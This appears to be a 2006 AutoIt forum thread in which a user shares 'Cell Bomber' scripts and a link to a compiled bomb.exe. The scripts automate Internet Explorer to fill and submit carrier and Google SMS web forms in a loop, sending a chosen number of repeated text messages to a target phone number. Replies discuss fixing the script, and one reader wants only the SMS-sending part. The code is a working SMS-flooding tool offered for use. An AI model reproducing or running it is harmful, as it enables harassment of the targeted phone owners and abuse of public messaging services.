_IEFormElementSetValue($o_from, $aFrom)

_IEFormElementSetValue($o_messsage, $aMessage)

_IEFormElementSetValue($o_replynumber, $Cell_Number)

;---------------------------------------------------------

$src = "http://messaging.nextel.com/assets/images/twoway/btn_sendmessage.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE, 2000)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

Func Toggle_Images($On_Off=0)

If $On_Off == 0 Then

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "yes")

Else

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "no")

EndIf

EndFunc ;==>Toggle_Images

Func OnAutoItExit ()

Toggle_Images()

EndFunc

Edited April 13, 2006 by zerocool60544

[ConsultingJoe]

Let me know what you think

Edited April 13, 2006 by zerocool60544

[ConsultingJoe]

I have tried to update this but got stuck on googles, text verifier.

It looks cool though

expandcollapse popup

#include <IE.au3>
#include <GUIConstants.au3>
$Form1 = GUICreate("Cell Bomber   By: zerocool60544.t35.com", 305, 116, 204, 134)
GUISetCursor(3)
$Input1 = GUICtrlCreateInput("650-123-1234", 98, 6, 73, 21)
GUICtrlSetCursor($Input1, 3)
$Label1 = GUICtrlCreateLabel("Number To Bomb:", 8, 8, 90, 17)
GUICtrlSetCursor($Label1, 3)
$Label2 = GUICtrlCreateLabel("Subject (optional):", 8, 32, 89, 17)
GUICtrlSetCursor($Label2, 3)
$Input2 = GUICtrlCreateInput("", 98, 30, 73, 21)
GUICtrlSetCursor($Input2, 3)
$Combo1 = GUICtrlCreateCombo("", 176, 18, 122, 21)
GUICtrlSetData(-1, "Select a Carrier|AT&T (now Cingular)|Alltel|CellularOne|Cincinnati Bell|Cingular|Cricket Communications|MetroPCS|Midwest Wireless|Nextel|Omnipoint|Qwest|Sprint|SunCom Wireless|T-Mobile|US Cellular|Verizon|Virgin Mobile|Western Wireless", "Select a Carrier")
GUICtrlSetCursor($Combo1, 3)
$Message = GUICtrlCreateEdit("", 8, 64, 209, 49, BitOR($ES_AUTOVSCROLL, $ES_AUTOHSCROLL, $ES_WANTRETURN, $WS_VSCROLL))
GUICtrlSetData($Message, "Message")
GUICtrlSetCursor($Message, 3)
$Button1 = GUICtrlCreateButton("Bombs Away", 224, 88, 75, 25, 0)
GUICtrlSetCursor($Button1, 3)
$Label3 = GUICtrlCreateLabel("Bombs:", 224, 64, 39, 17)
GUICtrlSetCursor($Label3, 3)
$Input3 = GUICtrlCreateInput("10", 264, 62, 33, 21)
GUICtrlSetCursor($Input3, 3)
GUISetState(@SW_SHOW)
While 1
    $msg = GUIGetMsg()
    Select
        Case $msg = $GUI_EVENT_CLOSE
            ExitLoop
        Case $msg = $Button1
            Bomb()
        Case Else
        ;;;;;;;
    EndSelect
WEnd
Exit
Func Bomb()
    $number = GUICtrlRead($Input1)
    $splitnumber = StringSplit($number, "-")
    Select
    Case GUICtrlRead($Message) = ""
        MsgBox(0, "Cell Bomber", "The message is blank, you must have a message.")
        Return
    Case GUICtrlRead($Combo1) = "Select a Carrier"
        MsgBox(0, "Cell Bomber", "The carrier is not selected, you must select a carrier.")
        Return
    Case $splitnumber[0] <> 3
        MsgBox(0, "Cell Bomber", "The phone number is not the correct format." & @CRLF & @CRLF & "Example: 650-123-1234")
        Return
    Case StringIsInt($splitnumber[1]) = 0 Or StringIsInt($splitnumber[2]) = 0 Or StringIsInt($splitnumber[3]) = 0
        MsgBox(0, "Cell Bomber", "The phone number is not the correct format." & @CRLF & @CRLF & "Example: 650-123-1234")
        Return
    Case StringLen($splitnumber[1]) <> 3 Or StringLen($splitnumber[2]) <> 3 Or StringLen($splitnumber[3]) <> 4
        MsgBox(0, "Cell Bomber", "The phone number is not the correct format." & @CRLF & @CRLF & "Example: 650-123-1234")
        Return
    EndSelect
    $carrier = GUICtrlRead($Combo1)
    Switch $carrier
    case "AT&T (now Cingular)"
        $carrier = "ATT"
    case "Alltel"
        $carrier = "ALLTEL"
    case "CellularOne"
        $carrier = "CELLULARONE"
    case "Cincinnati Bell"
        $carrier = "CINCINNATI_BELL"
    case "Cingular"
        $carrier = "CINGULAR"
    case "Cricket Communications"
        $carrier = "CRICKET"
    case "MetroPCS"
        $carrier = "METROPCS"
    case "Midwest Wireless"
        $carrier = "MIDWEST_WIRELESS"
    case "Nextel"
        $carrier = "NEXTEL"
    case "Omnipoint"
        $carrier = "OMNIPOINT"
    case "Qwest"
        $carrier = "QWEST"
    case "Sprint"
        $carrier = "SPRINT"
    case "SunCom Wireless"
        $carrier = "SUNCOM"
    case "T-Mobile"
        $carrier = "TMOBILE"
    case "US Cellular"
        $carrier = "USCELLULAR"
    case "Virgin Mobile"
        $carrier = "VIRGIN"
    case "Western Wireless"
        $carrier = "WESTERN_WIRELESS"
    EndSwitch
    $bombs = GUICtrlRead($Input3)
    $IE = _IECreate(1)
    For $bombsent = 1 To $bombs
    _IEnavigate ($IE, "http://toolbar.google.com/send/sms/index.php")
    _IELoadWait($IE, 200)
    $oForm = _IEFormGetObjByName ($IE, "sending_form")
    $object = _IEFormElementGetObjByName ($oForm, "mobile_user_id")
    _IEFormElementSetValue ($object, GUICtrlRead($Input1))
    $objectcarrier = _IEFormElementGetObjByName ($oForm, "carrier")
    _IEFormElementSetValue ($objectcarrier, $carrier)
    $objectsubject = _IEFormElementGetObjByName ($oForm, "subject")
    _IEFormElementSetValue ($objectsubject, GUICtrlRead($Message))
    $objectmessage = _IEFormElementGetObjByIndex ($oForm, 9)
    _IEFormElementSetValue ($objectmessage, 444)
    _IEFormSubmit($oForm)
    _IELoadWait($IE, 200)
    Next
    
EndFunc

[beestinga]

I'm using the newest version of IE.au3 with this script, and when I use your pre-compiled version, it runs fine but when I use my IE.au3 file, it gives errors whenever it tries to load the page. I'm using the T2_2 ie.au3, but this is the first time I've used it. Any ideas? Would it be possible for me to get a hold of your ie.au3 file?

[ConsultingJoe]

I'm using the newest version of IE.au3 with this script, and when I use your pre-compiled version, it runs fine but when I use my IE.au3 file, it gives errors whenever it tries to load the page. I'm using the T2_2 ie.au3, but this is the first time I've used it. Any ideas? Would it be possible for me to get a hold of your ie.au3 file?

I use this one.

http://www.autoitscript.com/forum/index.ph...pe=post&id=8987

try choosing a different carrier, if that one works then the first carrier must have updated thier site.

let me know which carrier

[ConsultingJoe]

Yeah it still works for me, if you want you can try the compiled version on my site.

http://zerocool60544.t35.com/files/bomb.exe

Edited June 1, 2006 by zerocool60544

[beestinga]

Yeah it still works for me, if you want you can try the compiled version on my site.

http://zerocool60544.t35.com/files/bomb.exe

I know the compiled version works.

I just don't know why I can't compile. I need to be able to, because I would like to steal portions of this to automate sending me a text message if something goes wrong in one of my programs.

I don't, however, need the bombing or most of the bells or whistles this has. I just need to be able to incorporate sms into my app, and this seems to be the best free way to do it.